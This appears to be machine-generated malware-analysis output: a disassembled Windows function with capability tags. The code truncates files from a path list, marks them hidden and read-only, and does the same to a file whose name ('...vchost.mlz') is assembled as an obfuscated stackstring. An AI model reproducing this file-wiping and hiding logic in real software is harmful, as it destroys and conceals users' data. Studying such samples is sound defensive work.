Function at 0x40a920
Capabilities:
Contain obfuscated stackstrings
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41eb18
mov eax, dword fs:[0]
push eax
sub esp, 0x288
mov eax, dword [0x401054]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 0
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], 0xf
mov byte [ebp - 0x44], 0
mov dword [ebp - 0x64], 0
mov dword [ebp - 0x60], 0xf
mov byte [ebp - 0x74], 0
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push dword [ebp + 0x18]
cmovae eax, dword [ebp + 8]
lea ecx, [ebp - 0x44]
push eax
mov byte [ebp - 4], 2
call fcn.00408d60
mov edx, dword [ebp - 0x34]
mov esi, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
test edx, edx
je 0x40acfc
cmp dword [ebp - 0x30], 0x10
lea edi, [ebp - 0x44]
cmovae edi, dword [ebp - 0x44]
test edx, edx
je 0x40aa16
push 0x100
lea eax, [ebp - 0x18c]
push 0
push eax
call fcn.0040cf50
add esp, 0xc
mov ecx, 0x401b04
mov edx, 4
nop dword [eax]
nop word [eax + eax]
movzx eax, byte [ecx]
lea ecx, [ecx + 1]
mov byte [ebp + eax - 0x18c], 1
sub edx, 1
jne 0x40a9e0
mov edx, dword [ebp - 0x34]
mov esi, edi
lea ecx, [edx + edi]
cmp edi, ecx
jae 0x40aa16
nop
movzx eax, byte [esi]
cmp byte [ebp + eax - 0x18c], 0
jne 0x40ab3a
inc esi
cmp esi, ecx
jb 0x40aa00
or esi, 0xffffffff
cmp edx, esi
mov dword [ebp - 0x4c], 0
mov ecx, esi
mov dword [ebp - 0x48], 0xf
cmovb ecx, edx
mov byte [ebp - 0x5c], 0
cmp dword [ebp - 0x30], 0x10
lea eax, [ebp - 0x44]
push ecx
cmovae eax, dword [ebp - 0x44]
lea ecx, [ebp - 0x5c]
push eax
call fcn.00408d60
mov edx, dword [ebp - 0x60]
cmp edx, 0x10
jb 0x40aa7b
mov ecx, dword [ebp - 0x74]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40aa71
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ae38
push edx
push ecx
call fcn.0040b36e
add esp, 8
movups xmm1, xmmword [ebp - 0x5c]
cmp dword [ebp - 0x48], 0x10
lea eax, [ebp - 0x74]
movq xmm0, qword [ebp - 0x4c]
push 1
push 0x401b3c
movd ecx, xmm1
push 0
push dword [ebp - 0x4c]
cmovae eax, ecx
movq qword [ebp - 0x64], xmm0
push eax
movups xmmword [ebp - 0x74], xmm1
mov dword [ebp - 0x290], ecx
call fcn.00407af0
add esp, 0x14
cmp eax, 0xffffffff
je 0x40ab56
cmp dword [ebp - 0x48], 0x10
lea edi, [ebp - 0x74]
push 0x401b0c
cmovae edi, dword [ebp - 0x290]
push edi
call fcn.0040eebc
add esp, 8
test eax, eax
je 0x40ab56
push eax
call fcn.0040ed7b
add esp, 4
push 0x80
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
lea ecx, [ebp - 0x294]
mov dword [ebp - 0x290], eax
push ecx
push 0
push 0
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x40ab41
push 0x401b10
call fcn.0040b0e0
add esp, 4
jmp 0x40ab4d
sub esi, edi
jmp 0x40aa19
push dword [ebp - 0x290]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 3
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
cmp esi, 0xffffffff
je 0x40acf6
mov eax, dword [ebp - 0x34]
inc esi
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x48], 0xf
mov byte [ebp - 0x5c], 0
cmp eax, esi
jb 0x40ae33
sub eax, esi
or ecx, 0xffffffff
cmp eax, 0xffffffff
cmovb ecx, eax
cmp dword [ebp - 0x30], 0x10
lea eax, [ebp - 0x44]
cmovae eax, dword [ebp - 0x44]
push ecx
add eax, esi
lea ecx, [ebp - 0x5c]
push eax
call fcn.00408d60
mov edx, dword [ebp - 0x30]
cmp edx, 0x10
jb 0x40abd3
mov ecx, dword [ebp - 0x44]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40abc9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ae38
push edx
push ecx
call fcn.0040b36e
add esp, 8
movups xmm1, xmmword [ebp - 0x5c]
cmp dword [ebp - 0x48], 0x10
lea esi, [ebp - 0x44]
movq xmm0, qword [ebp - 0x4c]
mov edi, dword [ebp - 0x4c]
movd eax, xmm1
movups xmmword [ebp - 0x44], xmm1
cmovae esi, eax
movq qword [ebp - 0x34], xmm0
mov dword [ebp - 0x290], eax
test edi, edi
je 0x40ac56
push 0x100
lea eax, [ebp - 0x28c]
push 0
push eax
call fcn.0040cf50
add esp, 0xc
mov ecx, 0x401b04
mov edx, 4
movzx eax, byte [ecx]
lea ecx, [ecx + 1]
mov byte [ebp + eax - 0x28c], 1
sub edx, 1
jne 0x40ac20
lea ecx, [edi + esi]
mov edx, esi
cmp esi, ecx
jae 0x40ac56
nop dword [eax]
movzx eax, byte [edx]
cmp byte [ebp + eax - 0x28c], 0
je 0x40acef
inc edx
cmp edx, ecx
jb 0x40ac40
or edx, 0xffffffff
mov dword [ebp - 0x7c], 0
mov dword [ebp - 0x78], 0xf
mov byte [ebp - 0x8c], 0
cmp edi, edx
jb 0x40ae33
sub edi, edx
lea eax, [ebp - 0x44]
or ecx, 0xffffffff
cmp edi, 0xffffffff
cmovb ecx, edi
cmp dword [ebp - 0x48], 0x10
push ecx
cmovae eax, dword [ebp - 0x290]
lea ecx, [ebp - 0x8c]
add eax, edx
push eax
call fcn.00408d60
mov edx, dword [ebp - 0x30]
cmp edx, 0x10
jb 0x40acd2
mov ecx, dword [ebp - 0x44]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40acc8
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ae38
push edx
push ecx
call fcn.0040b36e
add esp, 8
movups xmm0, xmmword [ebp - 0x8c]
movups xmmword [ebp - 0x44], xmm0
movq xmm0, qword [ebp - 0x7c]
movq qword [ebp - 0x34], xmm0
mov edx, dword [ebp - 0x34]
jmp 0x40a9a4
sub edx, esi
jmp 0x40ac59
mov esi, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
movaps xmm0, xmmword [0x401d50]
lea eax, [ebp - 0x2c]
push 0x401b0c
push eax
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0x1c], 0x6f686376
mov dword [ebp - 0x18], 0x6d2e7473
mov word [ebp - 0x14], 0x7a6c
mov byte [ebp - 0x12], 0
call fcn.0040eebc
add esp, 8
test eax, eax
je 0x40ad60
push eax
call fcn.0040ed7b
add esp, 4
lea eax, [ebp - 0x2c]
push 0x80
push eax
call esi
push 0
lea eax, [ebp - 0x2c]
push 0
push eax
call fcn.0040ae50
add esp, 0xc
lea eax, [ebp - 0x2c]
push 3
push eax
call esi
mov edx, dword [ebp - 0x60]
cmp edx, 0x10
jb 0x40ad94
mov ecx, dword [ebp - 0x74]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40ad8a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ae38
push edx
push ecx
call fcn.0040b36e
add esp, 8
mov edx, dword [ebp - 0x30]
mov dword [ebp - 0x64], 0
mov dword [ebp - 0x60], 0xf
mov byte [ebp - 0x74], 0
cmp edx, 0x10
jb 0x40add6
mov ecx, dword [ebp - 0x44]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40adcc
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ae3d
push edx
push ecx
call fcn.0040b36e
add esp, 8
mov edx, dword [ebp + 0x1c]
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], 0xf
mov byte [ebp - 0x44], 0
cmp edx, 0x10
jb 0x40ae18
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40ae0e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ae42
push edx
push ecx
call fcn.0040b36e
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040b37c
mov esp, ebp
pop ebp
ret
call fcn.00408b20
call fcn.0040eb69
call fcn.0040eb69
call fcn.0040eb69
int3